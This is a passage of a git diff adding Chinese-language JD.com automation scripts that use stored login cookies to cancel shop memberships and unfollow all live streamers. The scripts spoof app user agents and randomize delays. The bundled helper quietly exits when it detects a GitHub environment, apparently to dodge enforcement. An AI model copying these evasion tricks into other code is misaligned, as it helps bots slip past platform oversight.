Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); + $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); + if ($.UN_BIND_STOP_CARD) { + if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); + } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); + } else { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); + } + } + cardPageSize = $.UN_BIND_NUM; + stopCards = $.UN_BIND_STOP_CARD; + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_unsubscriLive.js b/jd_unsubscriLive.js new file mode 100644 index 0000000..4bc2753 --- /dev/null +++ b/jd_unsubscriLive.js @@ -0,0 +1,253 @@ +/* +脚本:取关主播 +更新时间:2021-07-27 +默认:每运行一次脚本取关所有主播 + +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭 +==============Quantumult X=========== +[task_local] +#取关所有主播 +55 6 * * * jd_unsubscriLive.js, tag=取关所有主播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon============ +[Script] +cron "55 6 * * *" script-path=jd_unsubscriLive.js,tag=取关所有主播 +============Surge============= +取关所有主播 = type=cron,cronexp="55 6 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscriLive.js +===========小火箭======== +取关所有主播 = type=cron,script-path=jd_unsubscriLive.js, cronexpr="55 6 * * *", timeout=3600, enable=true + */ +const $ = new Env('取关所有主播'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + let aid = '' + if (!cookiesArr[0]) { + $.msg('【京东账号一】取关所有主播失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + allMessage += `京东账号${$.index} - ${$.nickName}\n`; + $.succs = 0; + $.fails = 0; + $.commlist = []; + $.olds = ''; + for (let i = 0; i < 100; i++) { + $.commlist.length = 0; + await GetRawFollowAuthor() + if ($.commlist.length == 0) { break } + for (let m = 0; m < $.commlist.length; m++) { + $.result = false; + $.authorId = $.commlist[m]['authorId'] + $.userName = $.commlist[m]['userName'] + await unsubscribeCartsFun() + if ($.result) { + aid = '&' + $.authorId + '&' + if ($.olds.indexOf(aid) == -1) { + $.succs += 1; + $.olds += aid; + } + $.fails = 0; + } else { + $.fails += 1; + if ($.fails > 4) { break } + } + await sleep(randomNum(800, 2200)) + } + console.log('取关一轮完成,等待3-6秒') + await sleep(randomNum(3000, 6000)) + } + allMessage += `成功取关主播数:${$.succs}\n`; + if ($.fails > 4) { + allMessage += `❗️❗️取关主播连续五次失败❗️❗️\n`; + } + allMessage += '\n' + } + } + if (allMessage) { + allMessage = allMessage.substring(0, allMessage.length - 1) + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +function randomNum(minNum, maxNum) { + switch (arguments.length) { + case 1: + return parseInt(Math.random() * minNum + 1, 10); + break; + case 2: + return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10); + break; + default: + return 0; + break; + } +} +function unsubscribeCartsFun(author) { + return new Promise(resolve => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/UnFollow?authorId=${$.authorId}&platform=3&_=` + new Date().getTime().toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKE&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + } + } + $.get(options, (err, resp, data) => { + if (data.indexOf('iRet":0') > 0) { + $.result = true; + console.log(`取关主播【${$.userName}】成功\n`) + } else { + console.log(`取关主播【${$.userName}】失败:` + data + `\n`) + } + resolve(data); + }); + }) +} + +function getStr(text, start, end) { + + var str = text; + var aPos = str.indexOf(start); + if (aPos < 0) { return null } + var bPos = str.indexOf(end, aPos + start.length); + if (bPos < 0) { return null } + var retstr = str.substr(aPos + start.length, text.length - (aPos + start.length) - (text.length - bPos)); + return retstr; + +} +function GetRawFollowAuthor() { + return new Promise((resolve) => { + const options = { + "url": `https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=` + (new Date().getTime() - 2000).toString() + `&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://st.jingxi.com/" + }, + } + //https://m.jingxi.com/jxlive_user/GetRawFollowAuthor?pagesize=10&pageno=1&_=1627380788998&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls + $.get(options, (err, resp, data) => { + let userInfo = {}, users = [] + try { + data = JSON.parse(getStr(data, 'jsonpCBKB(', ');')); + if (data.iRet === 0) { + for (let i = 0; i < data['data']['LiveIng'].length; i++) { + users.push({ 'authorId': data['data']['LiveIng'][i]['authorId'], 'userName': data['data']['LiveIng'][i]['userName'] }) + } + for (let i = 0; i < data['data']['PRLive'].length; i++) { + users.push({ 'authorId': data['data']['PRLive'][i]['authorId'], 'userName': data['data']['PRLive'][i]['userName'] }) + } + $.commlist = users + + console.log(`本轮取消主播数:${$.commlist.length}个\n`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || 